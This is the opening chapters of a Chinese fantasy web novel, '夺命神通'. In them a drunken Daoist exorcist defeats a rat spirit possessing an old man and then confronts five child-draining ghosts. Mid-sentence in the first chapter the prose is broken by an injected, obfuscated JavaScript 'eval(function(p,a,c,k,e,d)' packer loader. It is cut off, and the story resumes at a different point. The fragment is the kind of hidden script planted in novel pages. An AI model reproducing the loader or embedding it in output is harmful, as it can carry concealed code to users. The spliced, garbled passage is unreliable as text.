《夺命神通》 1. 鼠精作祟 边无相把自己腰上挂的酒葫芦饮得一滴不剩,衣袍松垮的系着带子,几乎大敞着,任由那醉意攀上眼角眉梢去,精瘦的腰间还系着一条黑色布带,上挂着些许抓虫的小篓子,采药的布包儿。 一路把土堆石子儿踏破,便到了隐约有几点亮光的人家处,边无相晃了晃手里的酒葫芦,一点水声都听不着了,便将眼睛眯了起来,修长的手指在盈盈的月光下显得有些惨白。 一家、两家、三家…… “就是你们家了。” 语音刚落,仿佛是神志不清一般的脚步沙沙踏着村里的道儿,路旁几家一向见人就要狂吠一阵的狗都怏怏低下头去,呜咽两声,用自己的狗爪子蒙住眼睛,舔两下毛便仿佛是没看见一般,又在门口守着月亮假寐。 “笃笃——” 边无相抬手敲了敲门,那木门已经掉了不少的漆皮,抬手摸着还有些发刺,只可惜敲门过了半晌,仍不见有人出来开门,边无相倒也不着急,转身一屁股便坐在了台阶上。 粗粝的台阶在他手底下来回摩挲着,影子快要融进台阶里,像是执意要将他整个人锁到里面去。 “来了——” 一道略显苍老的声音从院内传来,那话音刚落,发闷发重的拐棍声便从屋内咚咚作响,大门吱呀一声,露出小半道缝来,从缝里模糊瞧得见半张满是麻子的糙脸。 边无相拍了拍裤子上的土,幽幽地转过身去,勾了勾薄唇,柳眉长目稍作弯弯意,作揖道:“老人家,最近可有为什么事烦忧?” 被叫老人家的刘麻子神色一怔,将拐棍的下端警惕向前撇去,神色有些窘迫紧绷,穿着老布鞋的脚又在与此同时向后退去,枯槁的手抓着拐棍,一下一下地向前冲着撇着: “去!去!没有没有!” 边无相将自己的一只手拦在了即将关上的门沿处,半个身子稍稍向前倚着,点漆的墨眼下透出精光来,稍低下头去,正对上了那刘麻子的脸,嬉笑道:“我可不坑蒙拐骗,做这行生意,我也是为我自己积个功德。” 话语间说着,门沿处的手便暗自发力,将一侧的门用手背往后顶了顶,手便先于他人进了那门,抓在了那拐棍的上端: “老人家——” 刘麻子后背一颤,险些栽倒在地,哆嗦着嘴问道:“干、干什么,现在可是法法…法治社会!” 边无相顺势进门,将刘麻子扶了一把,才刚进了里边儿,另一只背着的手就将门呜呀关上了。 边无相一转刚刚的霸道样,脸上又正色了几分,勾唇笑道:“冒昧前来,多有打扰,只是看老人家您眼下发青,身上发虚,想来是有精怪困扰,特来解决。” 那老人脸色大变,又很快镇定了下来,眼袋似乎还鼓着陈水,在皮肤里发跳叫嚣:“是是,我们家这两天闹老鼠,半夜总吱吱叫,我一把年纪又睡不好,难免这精神头儿差点,但说精怪……也不至于吧?” 边无相一手虚握着放在唇边轻咳一声,脸上却依旧云淡风轻,看不出一点尴尬的样子:“那是我多虑了,不过这几天闹老鼠,你老人家怎么也不养只猫?” “养猫干嘛?那猫崽子吃吃喝喝的,就我兜里那嘎嘣响的两个子,够我一个人都不容易,嗐——” 刘麻子说着打开了卧室的房门,两人进门就在一前一后,接着啪嗒一声拉开了灯: “之前也不是没养过,老鼠一只都逮不着也就算了,养不大呀,养个十天八个月,还是那么一点大。” 刘麻子一边说,一边用手比着那大小:“好不容易生了崽儿,罢了罢了!” 边无相含笑看着刘麻子手背压着手心,恨铁不成钢一般嚷道:“那窝小崽儿,一个都奶不大,有一只你猜怎么着?嗐呦!还能让那老鼠给吃了!你说说你说说……” 刘麻子说着,来回转了几个圈,丧气一般背过手去:“不养了,说成啥都不养了!” 边无相晃了晃手里的酒葫芦:“老人家,你给我打满酒,我给你把那老鼠抓了,怎么样?” 刘麻子神色又是不可察觉的一愣,浑浊的眼珠子里都多了一份无知的清明,而后放声大笑起来:“那就,拜托您了!” 直到村子里鼾声四起,枝头的乌鸦也缩了脖子,刘麻子也还是不忍去睡觉,拄着拐棍坐在床边:“这真的没问题?我守着吧?” “老人家,你就睡去吧,老鼠有什么可看的?今晚好不容易能睡个安稳觉。” “是…是。” 刘麻子讪讪走到了里间,一阵窸窸窣窣便熄灯睡下了,钟表上的指针一圈又一圈转着,长的转完短的跑,不知不觉里就已经到了夜间一点多。 “吱吱吱——” 边无相眼睛炯然,蹲着身子躲在与厨房连通的房墙后面,身旁放着两只白瓷碗。 那些老鼠从四面八方奔涌出来,有从柜子茶几下面扭着屁股出来的,有从天花板上荡下来的,犄角旮旯的洞里还有那么几只小老鼠;你拉着我,我牵着你,前面跟着后面跑着往外赶,三两只一队,五六只一群,一时之间又是吱吱作响。 边无相掐指一算,今天正是十四日,是老鼠娶亲的大吉日子。 那些老鼠都聚集起来以后,一改刚刚的混乱样,格外有序起来,每一只大鼠领着两只小鼠,各自又往不同的方向跑去。 边无相屏住呼吸,只瞧见有的翻上了桌子,将桌子上的枣推了下去,小身板灵巧一跃,每两只老鼠各用背拱着小枣往刚刚聚集的地方去。 有的又跑到了洞里,再钻出来时,爪子里面还抱着生着的玉米粒,剥开的花生米,还有几只一溜烟进了厨房,搬了一些饭屑子往过跑,有些治不住嘴的小家伙,还没等搬过去,自己就先吃上了,这时,就有大家伙从后面照着脑袋,便是一巴掌。 小老鼠抱着脑袋吱哇乱叫,还叫不了两声就又被催着赶着把那些吃的抱在怀里,往刚刚聚集的地方滚去。 边无相从自己的兜里掏出一把已经嗑好的瓜子来,捻在食指与大拇指中,小心翼翼地将手指紧贴着地,接着两指分开,油乎香甜的瓜子就落到地上,时不时的一落一弹,小老鼠们都以为是哪只漏了,要不老老实实搬过去,要不就先原地享福了。 边无相将手里的瓜子全都当做贺礼送出去,才终于作罢,没有什么新的动静,又静下去看那群老鼠们。 所有的东西几乎都被搬到了刚刚聚集在一起的中央位置,那些老鼠们老的在里边,小的在外边,将刚刚的食物都围成了一个圈,照着年龄从大到小,由内而外的一圈套一圈。 又过了良久,老鼠洞才终于有了点动静:有一只皮毛油光锃亮的老鼠缓缓走了出来,一小步一小步的模样,倒有几分款款的意思,那小老鼠的嘴里哼哼着歌儿,身后跟着又一只体型相较大一些的老鼠,皮毛也是油亮亮的,在夜里发着棕灰色的暗光,大耳朵随着大步子一颤一颤,嘴里同样哼哼着歌儿。 “吱吱吱——” 想来那是新娘子和新郎,边无相那长枝一样的指尖沾了沾其中一只白瓷碗,那白瓷碗中有薄薄一层的清冽香气,带到指尖浸湿时,便从另一只白瓷碗里取了些许面粉来,裹成一个个仅有半个枣核大的球。 那小球裹好后,就在那酒水里荡一荡,然后丢进面粉里滚一圈,像刚刚送瓜子一样,将小球一颗颗咕噜滚了出去。 那老鼠新娘正在食物中央,只是一动不能动,老鼠新郎则从老老鼠向小老鼠挨个儿绕圈,握手。 只是老老鼠面前,似乎要拘谨一些,两只爪子交叠在一起,耸着肩,圆溜的身子尤其局促,在小老鼠面前显然不,肩膀搭着肩膀,爪子握着爪子,吃了几天好日子的肚子就已经显得溜圆,皮毛下的皮肉彭然开来。 “吱吱吱——” 边无相裹好的小球,一颗接着一颗沿着墙滚了出去,香气一缕一缕的聚在一起,一时之间四散开来,老鼠们一下子都乱了套——还没吃上酒,便先醉了。 老老鼠们机敏得多,咽了咽发馋的口水,一边四处张望,一边拱着小老鼠让赶紧出去找吃的,小老鼠们满心满眼都只剩下吃了,生怕谁比谁跑慢了,全都咕噜咕噜跑过去。 就先抱着那球啃了起来,老老鼠们个个都在食物堆这边跳脚,小老鼠们有的往回搬,但大多数都在那边贴着墙角啃个尽兴。 老鼠新娘最为可怜,全程一直都站在食物的中央,一动也不能动,那新郎刚刚还能靠着打招呼,东边一点西边一点饱饱肚子。 边无相瞧着这些面团子已经滚得差不多了,搓了搓手指上的面浆,喝了一大口的酒,嗓子里居然发出了老鼠的声响: “你们可都知道,吃完今天这场宴席,你们都要进谁的肚子里?” 那些老老鼠身子都绷直起来,小老鼠嘴里的团子都掉在了地上,谁都搞不清楚这声音究竟是从哪儿来。 “你们可是要进鼠王的肚子的,谁吃得多,鼠王就先吃谁!” 那些老鼠们都慌了神,这几天日日是好日,吃了不少好东西,连进出洞口时都有些卡着的意思了,打颤着牙齿,等着听后面的话。 忽然有一只老老鼠发话了:“鼠王?我就是鼠王!” 殊不知,此刻在里间,那刘麻子一改用拐棍的跛脚样子,驼着背,岔着腿,左手抓一把瓜子,用手抓一把核桃,往嘴里一塞一塞,腮帮子鼓鼓的,一动一动的。 上着的两颗假门牙露在外面,下唇被牢牢包裹在上唇中,嘴里满当当的,还往外喷粉儿,嗓子眼里发出细细的吱吱声,耳朵一动一动的,一听到那句“我就是鼠王!”便将手里的食物搭拉一放,阴恻恻地站在里间的墙后,半个身子隐在暗色里,半个身子依稀可见光。 那老老鼠的小眼珠子滴溜一转,又发话了:“我可从没说过要吃同胞弟兄们!莫非你也要做鼠王?我告诉你,这可是大喜的日子,即便是夺位,也要给我两分薄面!” 边无相笑笑,他早就听到了“刘麻子”走路发出的声响,果不然,这区区真鼠王就是没沉住气,僵硬地站在墙角处,饶谁看了都要倒吸一口凉气。 “薄面?” 那真正的鼠王啐了一口口水,叫嚷道:“我去你丫的薄面!”说着,便将手里的一把硬币丢撒到了地上,叮铃咣啷一阵作响,把老鼠们吓得个个四散逃窜。 那假鼠王企图躲到众鼠之中,却被众鼠推了出来,叫着:“吃它!吃它大王!” 边无相席地一坐,早又开始嗑上了瓜子,那群老鼠们在这时候,倒是出奇的团结一致。 真正的鼠王桀桀桀大笑,将那只老老鼠的尾巴用刘麻子的手指捻了起来,就这么脑袋悬着空,四肢不着地拎了起来。 大嘴一张,几乎要送进去,然后又将那只老老鼠拿了出去,死死地攥在手里:“你是鼠王啊?” “不、不是的!” 那老老鼠快要吓破胆,连声音都尖锐了不少:“您是!您是鼠王!” “我是吗?怎么是我呢?” 那鼠王大笑着,几乎想把房梁震塌。 老老鼠眼泪都快挤出来了,鼠王的狂笑戛然而止,恶狠狠道:“那你说,我会不会吃你们?” 语毕了,那鼠王还张了张刘麻子的大嘴,发黄和龋齿破洞交错的牙齿险些要把那只老老鼠吓一跳,差点儿一口气缓不上来就过去了。 那鼠王又低下刘麻子的头重复道:“你们说,我会不会吃了你们——?” 老鼠们都拥到一起,一大群鼠都抖着腿颤着牙,声音直发虚:“不不、不会!我们哪够塞牙缝呢!” “那我尝尝味,不行吗?” “不不不……可以可以!” 这一群老鼠点头又摇头,一颗颗小眼睛里都泪盈盈的,边无相的瓜子嗑得起劲,瓜子壳在掌心里堆起小捧的山来,眼睛一眯,索性一屁股坐倒在地,身子向后仰去,靠在低矮的木凳上。 起哄道:“刘麻子,你要吃谁?” 窗子外的风呼啦呼啦作响,玻璃窗的脆木框子几乎是摇摇欲坠,那群老鼠们团在一起,嚷着把假鼠王吃了,可就不要吃它们了。 忽而,一只老老鼠在僵持里站了出来,要同那鼠王对峙。 老老鼠抖了抖自己毛儿稀疏的尾巴,大脚一抖,膝盖一屈,脑袋一磕地,跪着道:“鼠王大人,吃了它,一来您也能尝尝滋味,二来也能得不少手下,我们平日里散沙一盘,如今有了王……” 老老鼠说着,腰背拱成了一道回勾的弧线,两只手一上一下抓着缩在胸前的尾巴,看上去一点也没有对峙的意思。 “啊哟!” “怂包,大老鼠而已,你们不是一家的?” 边无相一颗瓜子从指尖飞出去,正中了老老鼠的脑袋顶,老老鼠先是抱头吃痛,大呼一声,定睛一瞧,小鼻子嗅嗅,是香甜的瓜子儿便又着急地想去抱瓜子,做贼一般,瞄了两眼鼠王,膝盖一点一点的从地上向前蹭着,那鼠王正好笑的看着边无相,刘麻子的脸不知不觉也覆上了一层鼠相。 “它是没胆量,不过你倒是很有啊?从你找到这里开始,哈啊——!” 鼠王说着,声音也染得怪为阴森森,半压着的声调让众多老鼠都起鸡皮疙瘩,一些小老鼠连毛都炸了起来,跪在鼠群外面的那只抱着瓜子的,爪子都不由得紧了紧。 边无相仍然坐在地板上,倚靠着木凳,那鼠精直冲他而去,闪身极快,不见首尾,刘麻子那上了年纪的残破身躯,竟也有些健朗的意思,倒像是什么少年人,三步并两步一般,两人的眼睛便对上了。 边无相也不恼,信口道:“怎么?听过老鼠偷财的,你离我这么近干什么?偷情?” 那鼠王哪里被人这样调戏过?一时间又羞又恼,一个大跳腾身而上,刘麻子那走两步都要喘三口气儿的身子就这么腾了空,给边无相半个身子都埋进更深的影子里。 “这么急,太着急了可不好!”边无相将身子轻轻一侧,两小步向后退去,眼睛下面又蒙上了醉意,声音出奇的爽朗,大笑道:“可别给刘麻子闪了腰椎,坏了腿脚。” 话音刚落,那鼠王便重新又落回到了地上,半天才慢慢转了头,膝盖头抵着胸腔,随着说话声一震一震的:“本想把你留作早餐,只是不巧,我饿了。” 边无相大灌了自己一口酒壶里的酒,步伐越发得东倒西歪,像是回神一般,努力正了正身子:“老鼠偷食嘛,谁不知道?就是不知道你想吃点什么。” 那鼠精才不听话,闭上了刘麻子的眼睛,接着便是一阵皮肤撕裂的声音,边无相看着鼠精的脸逐渐从刘麻子的脸上分离出来,一相贼意,一相苍老。 “啊啊——啊!!” 刘麻子的嘴不自主地大张开来,整个人痛苦地蜷缩在地上,死死攥着自己没有几根的白头发,涎水黏连着落到地上,惨叫声连连。 只是这声音一下子哑了下去,像是吞了一大口的沙子,沙子中间还时不时有一些沾着水的潮湿结巴,听着倒是刘麻子本人。 鼠精像是嫌聒噪一般,细长的手指一下子便揪住了刘麻子的筋脉窍门,刘麻子的脸由于痛苦的缘故,涨得通红,身上的经脉都被锁住了,皮肤不禁发冷,身上流通不开,带着老人斑的蜡黄皮肤,霎时又变得冷白冷白,那些老人斑倒像是无数个窟窿洞。 边无相将自己垂着的手虚虚握着,耳垂和眼底都泛上了红,连指尖关节都带上了些血色,看上去才没有那么像死人,可他依旧没有出手,只是又换了个姿势,抱着胳膊安静看着。 良久,鼠精才从刘麻子的身上彻底分离了出去,鼠精大约已经有百年的道行,皮毛上还泛着淡淡的蓝光,眼睛又大又亮,胡须又粗又长,咧着嘴角却一脸苦相。 刘麻子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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鼠精许是因为刚刚念了咒的缘故,倒是百般自信,眼底里流露出不屑来,眼珠子稍稍向上翻去,像是静待着什么,喝道:“瞧瞧你这身上两根毛,给我做胡须都不够,哈!” 边无相松了手,身子向后退了两步:“你是想用你的雕虫小技困住我?呵!” 一时之间,屋内叮当声四起,屋檐下的铃铛叮铃作响,邪风乍起,越刮越大,屋子里面的东西发出一阵一阵的怪动来。那群老鼠们还是不愿意放弃看热闹的好机会,躲在各个角落里,缩着脖子抱着吃食,瞪眼睛抖胡子,就是不敢叫出声来。 “嗡——” 房屋里面木头的东西几乎都要破碎开来,倒也不是木头不牢靠,只是这房子年岁久了,又是风吹日晒,又是雨打下霜,陪着刘麻子过了有七八十年。 噼里啪啦一阵响动,屋子里的水壶霎时破开来,水混着玻璃片碎了一地,又朝着四周飞去,屋子里面的木箱子破裂的破裂、爆开的爆开,还有刘麻子枕头下面存了点钱的红布包从枕头里冲了出去,枕头里面的高粱皮、老绿豆滚得满地满床都是,枕头从中间崩裂开,陈年的落在枕头上的那些人皮肤的屑子,头发的屑子在薄薄打进窗户的月色里纷飞。 无数片玻璃碎片,钢镚纸币都飞起来,伴着门外呼呼作响的大风,都砸向了一脸无所挂碍的边无相,鼠精起初还被他的淡定样给唬住了,如今看来,他手无寸铁,何况不过是凡人一个,手无缚鸡之力,又能成得了什么? 于是怪笑便夹杂着狂风,一屁股坐到了后面的木板凳上,哪知刚刚木板凳早已经碎成片子了,狠狠这么一坐,木片便坚决地扎了鼠精的屁股。一时之间,刺痛感漫上它的毛孔,所有的皮毛都不禁战栗,碍于面子,只是面容上的肌肤一阵狂跳,两眼如波浪一般扭曲挣扎一阵,又开口道:“搬财可不单单能够补金,还能给你这种混小子长长记性!哈哈哈哈——” 边无相见他气焰大涨,声音反而越发慵懒:“是啊是啊,你可是鼠王…”说着,只见边无相长臂向上一伸,手心一挥,那些玻璃钢镚儿便在空中凝滞住了,而后,随着边无相手心方向一转,那些金属铁锈和玻璃,纸币在风里呼啦啦的响,齐刷刷飞向了鼠精。 鼠精伸手一摸胡子,心中暗叫不好,慌乱中,从地上抓起刚刚的木片来,在空中一横挥,把那些东西全都打到另一边去,那些东西乱七八糟的砸在房子的四处,那群看热闹的老鼠们聚的聚,散的散,生怕被砸到了,可是等到最后一个钢镚在原地打转了几下后,最后一声铁鸣,老鼠群里的老老鼠又指示着小老鼠快去把那些财物都拿过来,小老鼠们个个腾着步子,也不知道究竟是高兴还是紧张,只顾着快点把那些钢镚都运回到鼠窝里去。 边无相仍不罢休,在刚刚老鼠娶亲的大戏刚开始时,他便发觉了这屋子里,定然是有一些别的东西。 于是嗑瓜子的时候,便剪了小老鼠的模样去四处打探打探情报,果不然,这场结婚娶亲的大戏里,根本就没有什么新娘,恐怕那新娘早就被用来做带走刘麻子的猫儿的诱饵了。只是这鼠精做了点邪法,居然让一个新娘凭空出现在老鼠眼中,这只是障眼法罢了。 越看重什么,就越容易被什么迷了眼睛。 但这恰好是为他所用的好条件,于是他也在那纸老鼠身上动了点手脚,也做了障眼的法子,站在鼠群中央细细盘找着那鼠精的心腹。 不过是见招拆招罢了。 果不然,还真就叫他找到了,那假鼠王正是指鹿为马的诱饵,专门用来看看有哪些老鼠是不忠于它的,至于跪出去对峙的,只是个聪明反被聪明误的蠢老鼠,以为自己看清了局势,于是尽早站了队,但又想保全自己,好以后可以混个什么职,便又在话术上做了模棱两可的处理。 真是好一个鼠心。 边无相从自己腰间的布袋里面,取出了那只诱饵老鼠,两手一捏,本来还在吱哇乱叫的老鼠便瘪了下去,魂气儿从七窍里面散了出去,还发着极为细小的,像是锅开了一般的声音。 鼠精见不妙,猛地向前一跳,要扑上去将那魂气夺走,边无相稍稍向一旁侧了侧,将那魂儿抓到了手里,在手心里面牢牢囚着,用余光细细端详,叹道:“可惜啊,不过是个棋子儿,亏得这么卖命,什么好处也没捞着。” 话语间,抓着魂气的手暗暗发力,只听“砰”的一声炸响,那魂气爆裂开来,鼠精弓腰缩着身子,几乎有些呼吸不上来,那做了障眼法的纸老鼠,趁机就钻进了皮毛里,一阵撕咬,便破了个洞,从洞里跑到了那鼠精的身子里。 那根本不是纸老鼠,是用边无相布包里的蛊虫皮子剪的,一进到了血液里,便彻底张狂了自己,分解出了无数只小虫子,沿着鼠精的血管血液不断刮擦。 只听“哇”的一口,那鼠精大吐出无数黑虫来,脸色胀得通红,脖子都粗了些许,嗓子里面不断发出着吞咽和涌出的声音,黑虫一只接着一只,如是黑色的瀑布,从他口中的源头涌出。 边无相看着逐渐瘪下去的鼠精,眼神里又流露出几分怜惜,避开那一滩虫子,半蹲下身子去,手却狠戾地抓住了鼠精的后脖颈,鼠精的目光已然有些涣散,他还没有料想过自己的元神存在如此不入眼的东西里,还是会被发现,至于体内的这些虫子,更是让他五脏尽废。 边无相压低声音:“是谁给了你这么大的胆子!” 鼠精张了张口,什么都没说,明明话就在嘴边,可奈何眼睛都瞪大了眼,珠子都快爆裂开来,却始终发不出一个音来,不过片刻,便彻底消散了。 刘麻子被边无相架回到床上,用石榴菖蒲水把地上的黑虫子收拾完以后,边无相便踩着梯子上了房顶,天上飘起了小雨,出于满地狼藉,良心着实过意不去,是该要给重新修缮一下木头屋顶。 半夜便又是一阵叮当作响。 2. 一目五 边无相修缮完房顶后,在刘麻子家里地上打了个简单的草席睡了一夜,天一亮便走了。 他打小便是个邪人,家里人总觉着把他留在身边终究对谁都不好,在七八岁时就被送到了山上的道观里边,一方面是去去晦气,以后好少点遭殃倒霉事儿;另一方面也好摆脱这个祖宗,算命先生说了,小孩命里克父母。 送上山以后,还特地对那观主叮咛了两句,不过说来说去,无非也就是“千万别让他随便下山”,“我们做父母的也不容易,送到这儿来也是天命。” 他师父陈一道只是叹了口气,还是把边无相给领走了,日复一日教导,夜半三更还会盘算着,这到底也是命,不能看着小孩一个人流浪在外边吧? 于是便不顾同门反对,收到了自己的门下,这一收不要紧,当晚就梦见八方神仙腾云驾雾赶过来,几棍子敲在了脑门上:“你可真收得好哇?要折寿了!” 果不其然,按理来说怎么着不是个百岁无量的,边无相一来,才活了七十多就羽化走了,陈一道的那些同门师兄弟眼瞧着机会就来了,前脚刚打点了陈一道的后事,后脚就把这颗独苗苗给赶下山了。 可怜这边无相没地方去,也不熟悉路,绕到日上三竿才终于进了城。 只是进城以后去哪儿呢? 他的装扮实在有些太过招摇了,大袍大衣,酒葫芦和发簪,看着浑然不像个现代人,在街上实在太过瞩目。 “大娘,菜市场怎么走?” 被他拦住的大娘吃了一大惊,上下打量了一番,狐疑着这人是哪儿来的妖魔鬼怪,嚷道:“你这穿得这什么呀?这会儿都要中午了,菜市场都收摊了,你过去干啥呀?” 边无相作揖道:“贫道过去摆摆摊子,混一口吃饭钱。” 那大娘见眼前这人打扮着实有些不人不鬼,但又耐不住心下好奇:“你是道士啊?真道士假道士?去算命啊?” “自然是真的,也可以抓鬼,或者算算卦。” 大娘思忖了一会儿:“这样,你先给我算一卦,你要是准,我就告诉你怎么走,毕竟咱也不能乱把人往菜市场带,你说是不是?” 边无相笑了笑:“那自然是真的,不过我不做亏本的买卖,你想算点什么?我要是算得够准,您得给我拉两个客。” “行!那没问题!不过我也说不上来算什么,诶——不如你帮我看看,我孙子以后怎么样?”那大娘说着,就把自家孙子的生辰报了出来。 边无相掐了掐手指:“你们家孙子从小体质就不好吧?这几天也该多注意一下,给孩子那么大压力,做什么呢?这孩子本来就争强好胜,你们好像都不满足,去看看脑袋吧,过了这一遭,往后便顺顺利利。” 大娘一听,棕白色相间的头发像是快要炸起来,拱了拱鼻子,发淡发白的唇露出潜藏在其中略微发黄的牙,眼周的纹一览无余,眉头的川字更是让汗水有了轨迹:“连点吉利话都不会说!现在这时代,不多学习,没有做人上人的精神,可怎么活!” 大娘说着,一甩手就要走,手上拎着的袋子噼啪作响,边无相缓缓将手伸上前去,仿佛状况之外:“活着很难吗?你还没有给我指路。” 大娘气得鼻子都要歪了,手向前一指,神色尤其不悦:“就在前面!你左拐就是了,看你这破衣烂衫的,呵,也对,没有上进心,怎么着都能活下去。” 边无相勾唇笑了笑,只是笑意不达眼底,眸子看上去尤其冷清,转身向菜市场走去,右手的食指大拇指,两指间来回摩梭着,似乎在盘算着什么。 这会正值中午,菜市场的人不算很多,太阳热辣辣在天上挂着,边无相找了个相对阴凉的地方,一屁股坐在地上,两腿一翘,上半身就躺了下去,两胳膊抱枕在脑后,大声道:“算命打卦,抓鬼抓精,不准不要钱,干不好也不要钱!” 旁边正是个卖菜的大爷,手上抓着两张硬纸板,呼啦啦朝着自己扇风:“你专干这一行啊?” “嗯,就指望靠着这个吃饭。” “那你这才二十出头吧?真不是出来忽悠人的?这可是因果钱,你忽悠人,天就要惩罚你。” “我不忽悠人,大爷您就放心吧,诶,你有酒吗?” 边无相的余光找到了大爷摊子后边儿的白色酒篓子,里面大概还装着些,但又不好明说,便又开口发问。 大爷哈哈大笑,将那酒篓子一把薅了过来,粗糙黝黑,发着棕色的手抓着酒篓子,胳膊上显得有劲:“小伙子眼真尖,不过这就是个烂酒,走一个?” 边无相拿出了自己的葫芦,想着这开口到底还是小了些,直接倒还是容易撒,皱了皱眉,自己先发笑了:“大爷,有多余的杯子吗?” “我就自个儿的杯子一个,要不然你上那超市,拿个纸杯子?” 边无相掂了掂自己的葫芦:“那就下午再喝,中午不回去啊?” “不回去,我家离这远,骑着三轮车,一骑就是三四小时,等卖完再走。” 边无相将坐直的身子又躺了回去,翘着二郎腿,枕着胳膊:“算命打褂,捉精捉鬼,不准不要钱,干不好不要钱!” 一直到下午太阳快下山,那个喝酒的大爷也没有把菜卖完,圆茄子一个个都被照得发亮,边无相时不时嚎一嗓子,也只是有人驻足一下,并没什么人照顾生意。 不过他似乎不急,那大爷将东西都收拾到了车子后面,车后面满是灰土,上面铺着两个大化肥塑料袋,尘土气很重,还凝结着一些土块。 天色越来越晚,菜市场几乎都快没人了,傍晚是一整天里,最后一批好货好卖的时间,过了这个点,这些卖菜的也基本收拾回家了。 “还不走啊,小伙子?” “还不,在等人。” “等生意啊,那你估计难,回头你上古街那边摆摆,点生意保不齐好点。” 另一个摊子上,把一切东西都收拾好的大娘路过边无相时打了个招呼,蹬着自行车也走了,今天的生意似乎还不错,远远还能听见那大娘在唱歌。 边无相看着天上,将自己的胳膊与身心都舒展开来,原来自己已经在山上待了那么久,都忘了山下是什么样子,连菜市场都要问问人。 自己好像个丧门星,好像哪里都留不住自己,不,是哪里都不想留自己。他原以为山下是家,没想到本应该安然成长的熟悉地界,是他最不熟悉的地方,以前他也跟着自己的父母到菜市场买菜。 父母现在又是什么样子了呢? 算了,管他们做什么呢? 山上是家吗?好像只有师父对他好,人们都说自己是个克别人的命,当初谁都不愿意让师父把他留下,或许师父的死,真的是自己造成的。 真的是这样吗? 师父。 “哎呦!可算找到你了!你你……” 边无相半睁开一只眼睛来,一脸困倦的样子,看清楚来人后,脸上便清醒了很多:“大娘,遇到什么难事了吗?” “你是中午那个吧?中午是我太…你也知道,村里乡里人嘛,不说啥讲究,我孙子,先不说了,你跟我看看我孙子去!” 大娘说着,就要扯着边无相的一袍袖子往一边走,边无相抿了抿嘴:“孩子怎么了?” “我们家小孩……”大娘话还没说完就先哭了出来,呜呜咽咽地推着电动车:“你上车,给你带过去就知道了。” 边无相老老实实上了车,大娘把车骑得飞快,袖子扑啦啦地响,里面都灌满了风,边无相把胸前的衣领往中间兜了兜,紧了紧,咂嘴心中暗想:得亏今天中午没喝上酒,这风高低要惹得人肚子疼。 村里面的道除了修得平整的那些,拐进去的巷子里的那种道路还是有些坎坎坷坷的,电动车一路都在噔噔当当响,得亏边无相的脸瘦削,不然脸上的肉总要颤两下。 大娘将车停在门外,还险些因为太着急骑过了自己的家门,车一停,边无相就从车座上下去了,果不然,他刚下去,就听见那大娘一边锁车,一边嚷着:“快下快下,进去看看先。” 边无相把院落里深色棕红的大门推开,发出沉沉的闷响,踏着步子朝里边走去,大娘紧跟其后,又快步走了两下,走到边无相前面去,将身子微微侧着,打开了里面的房门,眼泪就再也止不住了:“你快看看吧,今天我们家奇儿本来还在好好看书,突然就嚷着说‘头疼!头疼!空气臭死了!’从凳子上就翻下去,我带到村里那个老医生那看,老医生给把了把脉,说可能是中邪了。” 大娘越哭声音越大,抽泣得几乎快要呼吸不上来,半跪在小孩的身边,紧紧抓着小孩的手:“你快救救我们家奇儿,你……” “嘘,您先冷静。” 边无相脸上终于露出了几分正色来,眉目的张扬不恭都收敛了很多:“交给我,你会蒸馒头吗?这会儿也没有没关的馒头店?” “会会会,会蒸馒头!” “你去蒸一个佛手的馒头出来,再折半根生姜,放到白瓷盘里,办完事情以后会管你要这个东西,动作快一些。” 边无相把那大娘支开后,冷笑一声,他早就看了许久,神色愈发不屑,冲着那小孩身后背着的鬼开口道:“现在真是世道太好了,一目五都出来了?” 那五只鬼咿咿啊啊叫着,小孩的身后站了出来,收起了刚刚嘻嘻笑笑的嘴脸,唯一那只有眼睛的鬼在五鬼的最前端,离小孩最近,只见它深吸一口气,贴着小孩的皮肤,一路向上抬头,几乎要把小孩身上的所有精气都吞到肚子里去:“哎呀,真香啊,我劝你不要多管闲事,这小孩死了以后,我还能保他一个瞑目!” 说话的这只鬼声音格外虚无缥缈,让人有些分不清究竟是男人的声音,还是女人的声音,其他四只没有眼睛的鬼纷纷附和,从嗓子里冒出尖尖的声音来,像是爪子抓在玻璃上,几乎要将人的耳膜撕裂,破出长痕来。 “这世道没有什么大的瘟疫了,给不了你们发挥的余地,就来吃人的慧根,真不知道是该说你们肚子空,还是该说你们脑袋空。” 边无相虚空画了一道符,一掌重重的拍在了那五只鬼的身上,有眼睛的那只自然躲闪最快,其余四只没有眼睛,又彼此相连,生生挨下了一击,浑身黝黑的气,仿佛有了具象化的体,这具五体相连的“气”就这样爆裂开来,一下子炸掉了四边的皮,那四只没有眼睛的鬼浑身都被那符纸灼烧着,啊啊大叫不断,那声音又长又细,彼此相和着,仿佛是四个人的嘴都被强行撬开来,将一把细长的银勺从中伸进去,声音很快又顿了下来,像是被什么噎住了一样,就好比那银勺伸到口腔中去,一路下至喉腔,盛出了一泡血来。 四只鬼连咳不断,唯一那只有眼睛的倒也是只聪明的,装着样子在那咳嗽,迅速将自己的身子向后退去,那四只鬼还没缓过来,就被强行拖拽着往后拉去。 那只有眼睛的鬼将自己的气稍稍屈起来,嗓子眼里冒着粗气,周边分散的气紧紧抓着床边的柜角,看上去可怜极了:“啊——!!” 边无相来了兴致,笑道:“怎么?这是帮你那四个好兄弟挡了我一道符?” 一目咳嗽了许久,声音像是从中间剖开,要从中取丝的藕,那么分裂,那么尖锐:“该死!我都挡了这么多,我的四个好兄弟,怎么还是伤到了!” 话说着,声音就哑了下去,光听声音,大概说话尤其用力,边无相冷笑看着前方的一目五,那四只鬼几乎都说不出话来,可怜巴巴喘着粗气,还忍不住在心中感叹着什么“老大真好。” 至于那一目,样子轻松得多,身子悠闲的倚靠在桌角上,分散的黑气撑着柜角,倘若有人的心态,大约目光也是轻蔑的,嘴角估计也是含笑的。 “一目,慧根属你吃得多吧?” 没等一目说话,其余那四只鬼中的其中一只便开口:“吃多点又怎么样?老大有一口肉丸吃,我们就有一口肉汤喝!” “你不想做那个一目吗?你不想做那个老大吗?我可以把他的眼睛挖下来给你,你看你要不要?” 边无相擦了擦自己的指甲缝,接着又补充道:“你看,做老大吃得最多,有眼睛的就是老大,你们下手的对象也都是一些不大善不大恶的普通人,也没有什么挑战性,你为什么不做那个老大呢?” 